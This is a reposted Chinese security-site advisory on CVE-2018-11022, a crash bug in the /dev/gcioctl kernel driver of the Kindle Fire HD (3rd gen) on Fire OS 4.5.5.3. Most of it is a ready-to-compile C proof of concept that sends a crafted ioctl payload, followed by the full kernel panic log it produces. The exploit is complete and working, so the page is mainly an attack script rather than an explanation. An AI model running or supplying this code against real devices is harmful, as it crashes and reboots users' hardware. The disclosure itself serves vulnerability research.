（CVE-2018-11022）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞

admin
admin
admin
101085
文章
87
评论
2022年1月6日00:42:49评论39 views字数 16118阅读53分43秒阅读模式

一、漏洞简介

mazon Kindle Fire HD（3rd）Fire OS 4.5.5.3的内核组件中的内核模块/omap/drivers/misc/gcx/gcioctl/gcif.c允许攻击者通过设备/ dev上ioctl的参数注入特制参数/ gcioctl使用命令3224132973，并导致内核崩溃。

二、漏洞影响

Fire OS 4.5.5.3

三、复现过程

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
 
/*
 * This is poc of Kindle Fire HD 3rd
 * A bug in the ioctl interface of device file /dev/gcioctl causes the system crash via IOCTL 3224132973.
 * Related buggy struct name is gcicommit.
 * This Poc should run with permission to do ioctl on /dev/gcioctl.
 *
 * The fowllwing is kmsg of kernel crash infomation:
 *
 *
 */
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

const static char *driver = "/dev/gcioctl";
static command = 3224132973; 

int main(int argc, char **argv, char **env) {
    unsigned int payload[] = {
    0x00002020,
    0x00000002,
    0x00000002,
    0xeddad33f,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141,
    0xf16c7d8e,
    0x96489dd1,
    0x678a12ff,
    0x69812204,
    0x41414141,
    0x41414141,
    0x41414141,
    0x41414141
    };

        int fd = 0;
        fd = open(driver, O_RDWR);
        if (fd < 0) {
            printf("Failed to open %s, with errno %d\n", driver, errno);
            system("echo 1 > /data/local/tmp/log");
            return -1;
        }
        
        printf("Try open %s with command 0x%x.\n", driver, command);
        printf("System will crash and reboot.\n");
        if(ioctl(fd, command, &payload) < 0) {
            printf("Allocation of structs failed, %d\n", errno);
            system("echo 2 > /data/local/tmp/log");
            return -1;
        }
        close(fd);
        return 0;
}

崩溃日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
 
[  381.205780] Unable to handle kernel NULL pointer dereference at virtual address 00000004
[  381.215637] pgd = c30e4000
[  381.219085] [00000004] *pgd=97437831, *pte=00000000, *ppte=00000000
[  381.227355] Internal error: Oops: 817 [#1] PREEMPT SMP ARM
[  381.233520] Modules linked in: omaplfb(O) pvrsrvkm(O) pvr_logger(O)
[  381.241302] CPU: 0    Tainted: G           O  (3.4.83-gd2afc0bae69 #1)
[  381.248596] PC is at free_buffer+0x4c/0x13c
[  381.253479] LR is at down_timeout+0x40/0x5c
[  381.258209] pc : [<c031716c>]    lr : [<c006e9b8>]    psr: a0000013
[  381.258209] sp : de943e58  ip : de943e38  fp : de943e6c
[  381.271179] r10: 00000000  r9 : dd3e8ca8  r8 : c25e6598
[  381.277160] r7 : eddad327  r6 : de942000  r5 : c0a25b50  r4 : c25e6580
[  381.284454] r3 : 00000000  r2 : c0a25b64  r1 : c0a25b64  r0 : 00000000
[  381.291870] Flags: NzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
[  381.299804] Control: 10c5387d  Table: 830e404a  DAC: 00000015
[  381.306335] 
[  381.306365] PC: 0xc03170ec:
[  381.311340] 70ec  e1a00001 e34c2091 e3a01a01 e30531e8 e34c306e ebfd3650 e89da800 e1a0c00d
[  381.321868] 710c  e92dd800 e24cb004 ebffced4 e3a00000 e89da800 e1a0c00d e92dd830 e24cb004
[  381.332550] 712c  e1a04000 e3020710 e59f510c ebf4dd18 e1a01000 e1a00005 ebf55e0b e3500000
[  381.343078] 714c  1a000023 e5943000 e1540003 0a000008 e1a02005 e5940004 e5b21014 e5853014
[  381.353759] 716c  e5832004 e5801000 e5810004 e5844000 e5844004 e59f00c0 ebf55d9f e3020710
[  381.364440] 718c  e59f50b4 ebf4dd02 e1a01000 e285001c ebf55df5 e3500000 1a00001a e594201c
[  381.375122] 71ac  e1a03005 e594c018 e2841018 e285001c e58c2004 e582c000 e5b32030 e5851030
[  381.385681] 71cc  e5821004 e5842018 e584301c ebf55d8a e89da830 e1a03000 e3a02068 e59f105c
[  381.396331] 
[  381.396362] LR: 0xc006e938:
[  381.401306] e938  e1a01000 0a000007 e3a05000 e2433001 e5843008 e1a00004 eb18d7ad e1a00005
[  381.411987] e958  e24bd014 e89da830 e1a00004 e50b1018 eb18d135 e51b1018 e1a05000 eafffff4
[  381.422668] e978  e1a0c00d e92dd878 e24cb004 e1a04000 e1a05001 eb18d91b e5943008 e3530000
[  381.433288] e998  e1a06000 0a000007 e3a05000 e2433001 e5843008 e1a00004 e1a01006 eb18d794
[  381.443817] e9b8  e1a00005 e89da878 e1a01005 e1a00004 eb18d158 e1a05000 eafffff5 e1a0c00d
[  381.454498] e9d8  e92dd800 e24cb004 e5903000 e1a0c000 e3530000 0a00000b e5910008 e5932008
[  381.465179] e9f8  e1500002 da000003 ea000006 e5932008 e1520000 ba000003 e283c004 e5933004
[  381.475830] ea18  e3530000 1afffff8 e5813004 f57ff05f e3a00000 e58c1000 e89da800 e1a0c00d
[  381.486358] 
[  381.486358] SP: 0xde943dd8:
[  381.491455] 3dd8  de942000 00000001 00000004 dd2160f4 60010013 c031716c a0000013 ffffffff
[  381.501983] 3df8  de943e44 c25e6598 de943e6c de943e10 c06a5318 c0008370 00000000 c0a25b64
[  381.512664] 3e18  c0a25b64 00000000 c25e6580 c0a25b50 de942000 eddad327 c25e6598 dd3e8ca8
[  381.523315] 3e38  00000000 de943e6c de943e38 de943e58 c006e9b8 c031716c a0000013 ffffffff
[  381.533996] 3e58  00000000 be8075c8 de943f04 de943e70 c0317704 c031712c 00000001 00000028
[  381.544525] 3e78  be8075c8 de943ea0 de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90
[  381.555206] 3e98  de943e98 de943e98 00000000 00000002 00000002 eddad33f 41414141 41414141
[  381.565734] 3eb8  41414141 41414141 41414141 41414141 41414141 d7b96700 de943efc de943ee0
[  381.576293] 
[  381.576293] IP: 0xde943db8:
[  381.581390] 3db8  de943dd4 de943dc8 c00795b4 c00792bc de943e0c de943dd8 c0070df8 c00795ac
[  381.592071] 3dd8  de942000 00000001 00000004 dd2160f4 60010013 c031716c a0000013 ffffffff
[  381.602630] 3df8  de943e44 c25e6598 de943e6c de943e10 c06a5318 c0008370 00000000 c0a25b64
[  381.613311] 3e18  c0a25b64 00000000 c25e6580 c0a25b50 de942000 eddad327 c25e6598 dd3e8ca8
[  381.623870] 3e38  00000000 de943e6c de943e38 de943e58 c006e9b8 c031716c a0000013 ffffffff
[  381.634399] 3e58  00000000 be8075c8 de943f04 de943e70 c0317704 c031712c 00000001 00000028
[  381.645080] 3e78  be8075c8 de943ea0 de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90
[  381.655761] 3e98  de943e98 de943e98 00000000 00000002 00000002 eddad33f 41414141 41414141
[  381.666442] 
[  381.666442] FP: 0xde943dec:
[  381.671417] 3dec  c031716c a0000013 ffffffff de943e44 c25e6598 de943e6c de943e10 c06a5318
[  381.681976] 3e0c  c0008370 00000000 c0a25b64 c0a25b64 00000000 c25e6580 c0a25b50 de942000
[  381.692535] 3e2c  eddad327 c25e6598 dd3e8ca8 00000000 de943e6c de943e38 de943e58 c006e9b8
[  381.703216] 3e4c  c031716c a0000013 ffffffff 00000000 be8075c8 de943f04 de943e70 c0317704
[  381.713867] 3e6c  c031712c 00000001 00000028 be8075c8 de943ea0 de943e98 de943e90 c0207454
[  381.724548] 3e8c  c00bd920 de943e90 de943e90 de943e98 de943e98 00000000 00000002 00000002
[  381.735076] 3eac  eddad33f 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[  381.745758] 3ecc  d7b96700 de943efc de943ee0 c02089fc 00000000 d74f9540 00000004 d74f9540
[  381.756408] 
[  381.756408] R1: 0xc0a25ae4:
[  381.761383] 5ae4  00000000 00000000 00040b03 01040101 ffff0100 00000000 00000000 0000ffff
[  381.772064] 5b04  00000000 0e0c0000 01010005 01000105 0000ffff 00000000 0e0c0000 01010005
[  381.782714] 5b24  00000105 01040901 00040001 ffff0101 00000000 00000000 00040b03 01040101
[  381.793273] 5b44  3f3f0100 00010001 01000001 00000000 00000000 00000000 c0a25b5c c0a25b5c
[  381.803955] 5b64  00000000 c0a25b64 00000000 00000000 00000001 c0a25b78 c0a25b78 c0a25b80
[  381.814605] 5b84  c0a25b80 00000000 00000000 00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c
[  381.825286] 5ba4  00000000 00000000 00000001 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0
[  381.835815] 5bc4  c0a25bc0 c0a25bc8 c0a25bc8 00000000 00000000 00000000 00000000 00000000
[  381.846496] 
[  381.846496] R2: 0xc0a25ae4:
[  381.851470] 5ae4  00000000 00000000 00040b03 01040101 ffff0100 00000000 00000000 0000ffff
[  381.862152] 5b04  00000000 0e0c0000 01010005 01000105 0000ffff 00000000 0e0c0000 01010005
[  381.872802] 5b24  00000105 01040901 00040001 ffff0101 00000000 00000000 00040b03 01040101
[  381.883453] 5b44  3f3f0100 00010001 01000001 00000000 00000000 00000000 c0a25b5c c0a25b5c
[  381.893981] 5b64  00000000 c0a25b64 00000000 00000000 00000001 c0a25b78 c0a25b78 c0a25b80
[  381.904663] 5b84  c0a25b80 00000000 00000000 00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c
[  381.915344] 5ba4  00000000 00000000 00000001 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0
[  381.925872] 5bc4  c0a25bc0 c0a25bc8 c0a25bc8 00000000 00000000 00000000 00000000 00000000
[  381.936523] 
[  381.936523] R4: 0xc25e6500:
[  381.941619] 6500  00000002 00000000 d7a55550 00000000 00000000 00000000 c2410c00 000008a8
[  381.952148] 6520  c0a10a88 00000000 c16281fc 00000000 00000000 00000000 00000000 000003e8
[  381.962829] 6540  c25e6000 00000093 00000000 00000000 00000000 00000000 00000000 00000000
[  381.973480] 6560  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  381.984008] 6580  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  381.994689] 65a0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.005340] 65c0  00000000 00000028 00000000 00000000 00000000 00000000 00000000 00000000
[  382.016021] 65e0  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.026519] 
[  382.026519] R5: 0xc0a25ad0:
[  382.031616] 5ad0  00010105 01010005 01040901 00040001 ffff0101 00000000 00000000 00040b03
[  382.042175] 5af0  01040101 ffff0100 00000000 00000000 0000ffff 00000000 0e0c0000 01010005
[  382.052856] 5b10  01000105 0000ffff 00000000 0e0c0000 01010005 00000105 01040901 00040001
[  382.063507] 5b30  ffff0101 00000000 00000000 00040b03 01040101 3f3f0100 00010001 01000001
[  382.074157] 5b50  00000000 00000000 00000000 c0a25b5c c0a25b5c 00000000 c0a25b64 00000000
[  382.084716] 5b70  00000000 00000001 c0a25b78 c0a25b78 c0a25b80 c0a25b80 00000000 00000000
[  382.095245] 5b90  00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c 00000000 00000000 00000001
[  382.105926] 5bb0  c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0 c0a25bc0 c0a25bc8 c0a25bc8
[  382.116577] 
[  382.116577] R6: 0xde941f80:
[  382.121551] 1f80  de917b80 c00635cc 00000013 de84190c de917b80 c00635cc 00000013 00000000
[  382.132202] 1fa0  00000000 00000000 de941ff4 de941fb8 c0068af4 c00635d8 00000000 00000000
[  382.142730] 1fc0  de917b80 00000000 00000000 00000000 de941fd0 de941fd0 00000000 de84190c
[  382.153259] 1fe0  c0068a64 c004cd64 00000000 de941ff8 c004cd64 c0068a70 00000000 00000000
[  382.163940] 2000  00000000 00000002 00000000 dd0bd7c0 c0a0e840 00000000 00000015 c2de6540
[  382.174621] 2020  00000000 de942000 c09ddc50 dd0bd7c0 de83d300 c1617b40 de943ba4 de943af0
[  382.185150] 2040  c06a36e4 00000000 00000000 00000000 00000000 00000000 01000000 00000000
[  382.195800] 2060  01c454c0 5ebfe27f 00000000 00000000 00000000 00000000 00000000 00000000
[  382.206451] 
[  382.206451] R7: 0xeddad2a7:
[  382.211425] d2a4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.222106] d2c4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.232788] d2e4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.243316] d304  ******** ******** ******** ******** ******** ******** ******** ********
[  382.253997] d324  ******** ******** ******** ******** ******** ******** ******** ********
[  382.264678] d344  ******** ******** ******** ******** ******** ******** ******** ********
[  382.275238] d364  ******** ******** ******** ******** ******** ******** ******** ********
[  382.286071] d384  ******** ******** ******** ******** ******** ******** ******** ********
[  382.296752] d3a4  ******** ******** ******** ******** ******** ******** ******** ********
[  382.307434] 
[  382.307434] R8: 0xc25e6518:
[  382.312408] 6518  c2410c00 000008a8 c0a10a88 00000000 c16281fc 00000000 00000000 00000000
[  382.323059] 6538  00000000 000003e8 c25e6000 00000093 00000000 00000000 00000000 00000000
[  382.333587] 6558  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.344268] 6578  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.354919] 6598  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.365600] 65b8  00000000 00000000 00000000 00000028 00000000 00000000 00000000 00000000
[  382.376129] 65d8  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[  382.386779] 65f8  00000000 00000000 00000093 00000093 0000004d 00000002 00000000 00000000
[  382.397308] 
[  382.397338] R9: 0xdd3e8c28:
[  382.402282] 8c28  dd3e8c28 dd3e8c28 00000000 00000000 00000000 c06bc674 000200da c09dda58
[  382.412933] 8c48  00000000 00000000 dd3e8c50 dd3e8c50 00000000 c0aa5174 c0aa5174 c0aa5148
[  382.423614] 8c68  5aefce7f 00000000 00000000 00000000 dd3e8c80 00000000 00000000 00000000
[  382.434112] 8c88  00200000 00000000 00000000 dd3e8c94 dd3e8c94 dd3d2380 dd3d2380 00000000
[  382.444793] 8ca8  000521a4 000003e8 000003e8 00000000 00000000 00000000 c06b9600 dd154400
[  382.455322] 8cc8  dd3e8d80 dd35ce70 00001064 00000001 0fb00000 5aefce7f 2cb41780 5aefce7f
[  382.466003] 8ce8  2cb41780 5aefce7f 2cb41780 00000000 00000000 00000000 00000000 00000000
[  382.476531] 8d08  00000000 00000000 00000000 00000000 00000001 00000000 00000000 dd3e8d24
[  382.487182] Process gcioctl_poc_2 (pid: 4073, stack limit = 0xde9422f8)
[  382.494689] Stack: (0xde943e58 to 0xde944000)
[  382.499603] 3e40:                                                       00000000 be8075c8
[  382.508819] 3e60: de943f04 de943e70 c0317704 c031712c 00000001 00000028 be8075c8 de943ea0
[  382.517913] 3e80: de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90 de943e98 de943e98
[  382.527130] 3ea0: 00000000 00000002 00000002 eddad33f 41414141 41414141 41414141 41414141
[  382.536346] 3ec0: 41414141 41414141 41414141 d7b96700 de943efc de943ee0 c02089fc 00000000
[  382.545562] 3ee0: d74f9540 00000004 d74f9540 be8075c8 dd3e8ca8 00000000 de943f74 de943f08
[  382.554656] 3f00: c0136044 c0317448 00000000 00000000 00000000 00000001 00000000 dd045190
[  382.563873] 3f20: dcf8c770 de943f0c de942000 be807638 be8075c8 c02c5d6d d74f9540 00000004
[  382.573120] 3f40: de942000 00000000 de943f64 00000000 be8075c8 c02c5d6d d74f9540 00000004
[  382.582183] 3f60: de942000 00000000 de943fa4 de943f78 c01365e0 c0135fc4 00000000 00000000
[  382.591430] 3f80: 00000400 be807638 00010e64 00000000 00000036 c0013e08 00000000 de943fa8
[  382.600646] 3fa0: c0013c60 c0136578 be807638 00010e64 00000004 c02c5d6d be8075c8 be8075c8
[  382.609863] 3fc0: be807638 00010e64 00000000 00000036 00000000 00000000 00000000 be807624
[  382.618927] 3fe0: 00000000 be8075ac 000106a0 0002918c 60000010 00000004 00000000 00000000
[  382.628143] Backtrace: 
[  382.631164] [<c0317120>] (free_buffer+0x0/0x13c) from [<c0317704>] (dev_ioctl+0x2c8/0x10c4)
[  382.640563]  r5:be8075c8 r4:00000000
[  382.644958] [<c031743c>] (dev_ioctl+0x0/0x10c4) from [<c0136044>] (do_vfs_ioctl+0x8c/0x5b4)
[  382.654388] [<c0135fb8>] (do_vfs_ioctl+0x0/0x5b4) from [<c01365e0>] (sys_ioctl+0x74/0x84)
[  382.663604] [<c013656c>] (sys_ioctl+0x0/0x84) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[  382.673004]  r8:c0013e08 r7:00000036 r6:00000000 r5:00010e64 r4:be807638
[  382.681304] Code: e1a02005 e5940004 e5b21014 e5853014 (e5832004) 
[  382.697326] Board Information: 
[  382.697357]  Revision : 0001
[  382.697357]  Serial	: 0000000000000000
[  382.697387] SoC Information:
[  382.697387]  CPU	: OMAP4470
[  382.697418]  Rev	: ES1.0
[  382.697418]  Type	: HS
[  382.697418]  Production ID: 0002B975-000000CC
[  382.697448]  Die ID	: 1CC60000-50002FFF-0B00935D-11007004
[  382.697448] 
[  382.733703] ---[ end trace 58e760c9cd2996a9 ]---
[  382.739074] Kernel panic - not syncing: Fatal exception
[  382.744964] CPU1: stopping
[  382.748229] Backtrace: 
[  382.751251] [<c0018148>] (dump_backtrace+0x0/0x10c) from [<c0698bb8>] (dump_stack+0x18/0x1c)
[  382.760742]  r6:c09ddc50 r5:c09dc844 r4:00000001 r3:c0a0e950
[  382.767761] [<c0698ba0>] (dump_stack+0x0/0x1c) from [<c0019bd8>] (handle_IPI+0x190/0x1c4)
[  382.777008] [<c0019a48>] (handle_IPI+0x0/0x1c4) from [<c00084fc>] (gic_handle_irq+0x58/0x60)
[  382.786499] [<c00084a4>] (gic_handle_irq+0x0/0x60) from [<c06a5380>] (__irq_svc+0x40/0x70)
[  382.795684] Exception stack(0xde885e98 to 0xde885ee0)
[  382.801483] 5e80:                                                       de885ee0 0000d120
[  382.810577] 5ea0: 1ce88a9c 00000059 1cc00792 00000059 c161e498 00000000 c09ece64 de960480
[  382.819793] 5ec0: c0ad01c8 de885f0c 0000017e de885ee0 c008e350 c0431ae0 600f0013 ffffffff
[  382.829010]  r6:ffffffff r5:600f0013 r4:c0431ae0 r3:c008e350
[  382.836029] [<c0431a90>] (cpuidle_wrap_enter+0x0/0x9c) from [<c04310c0>] (cpuidle_enter_tk+0x18/0x1c)
[  382.846374]  r7:00000000 r6:c161e498 r5:c161e498 r4:de96048c
[  382.853515] [<c04310a8>] (cpuidle_enter_tk+0x0/0x1c) from [<c04315dc>] (cpuidle_enter_state+0x1c/0x78)
[  382.863983] [<c04315c0>] (cpuidle_enter_state+0x0/0x78) from [<c04334b8>] (cpuidle_enter_state_coupled+0x13c/0x36c)
[  382.875518]  r6:de884000 r5:c161e498 r4:de96048c r3:00000000
[  382.882659] [<c043337c>] (cpuidle_enter_state_coupled+0x0/0x36c) from [<c043176c>] (cpuidle_idle_call+0x134/0x31c)
[  382.894256] [<c0431638>] (cpuidle_idle_call+0x0/0x31c) from [<c0015294>] (cpu_idle+0xa4/0x10c)
[  382.903961] [<c00151f0>] (cpu_idle+0x0/0x10c) from [<c0695650>] (secondary_start_kernel+0x118/0x13c)
[  382.914093] [<c0695538>] (secondary_start_kernel+0x0/0x13c) from [<80694ff4>] (0x80694ff4)
[  382.923400]  r6:10c0387d r5:00000015 r4:9e84c06a r3:c0694fdc
[  382.930603] CPU0 PC (0) : 0xc003ee38
[  382.934661] CPU0 PC (1) : 0xc003ee54
[  382.938720] CPU0 PC (2) : 0xc003ee54
[  382.942901] CPU0 PC (3) : 0xc003ee54
[  382.946960] CPU0 PC (4) : 0xc003ee54
[  382.951019] CPU0 PC (5) : 0xc003ee54
[  382.955200] CPU0 PC (6) : 0xc003ee54
[  382.959259] CPU0 PC (7) : 0xc003ee54
[  382.963317] CPU0 PC (8) : 0xc003ee54
[  382.967376] CPU0 PC (9) : 0xc003ee54
[  382.971557] CPU1 PC (0) : 0xc0019b2c
[  382.975616] CPU1 PC (1) : 0xc0019b2c
[  382.979675] CPU1 PC (2) : 0xc0019b2c
[  382.983856] CPU1 PC (3) : 0xc0019b2c
[  382.987915] CPU1 PC (4) : 0xc0019b2c
[  382.991973] CPU1 PC (5) : 0xc0019b2c
[  382.996154] CPU1 PC (6) : 0xc0019b2c
[  383.000213] CPU1 PC (7) : 0xc0019b2c
[  383.004272] CPU1 PC (8) : 0xc0019b2c
[  383.008453] CPU1 PC (9) : 0xc0019b2c
[  383.012512] 
[  383.014312] Restarting Linux version 3.4.83-gd2afc0bae69 (build@14-use1a-b-39) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Sep 19 22:04:47 UTC 2017
[  383.014312]

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日00:42:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   （CVE-2018-11022）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞http://cn-sec.com/archives/720862.html

发表评论

匿名网友 填写信息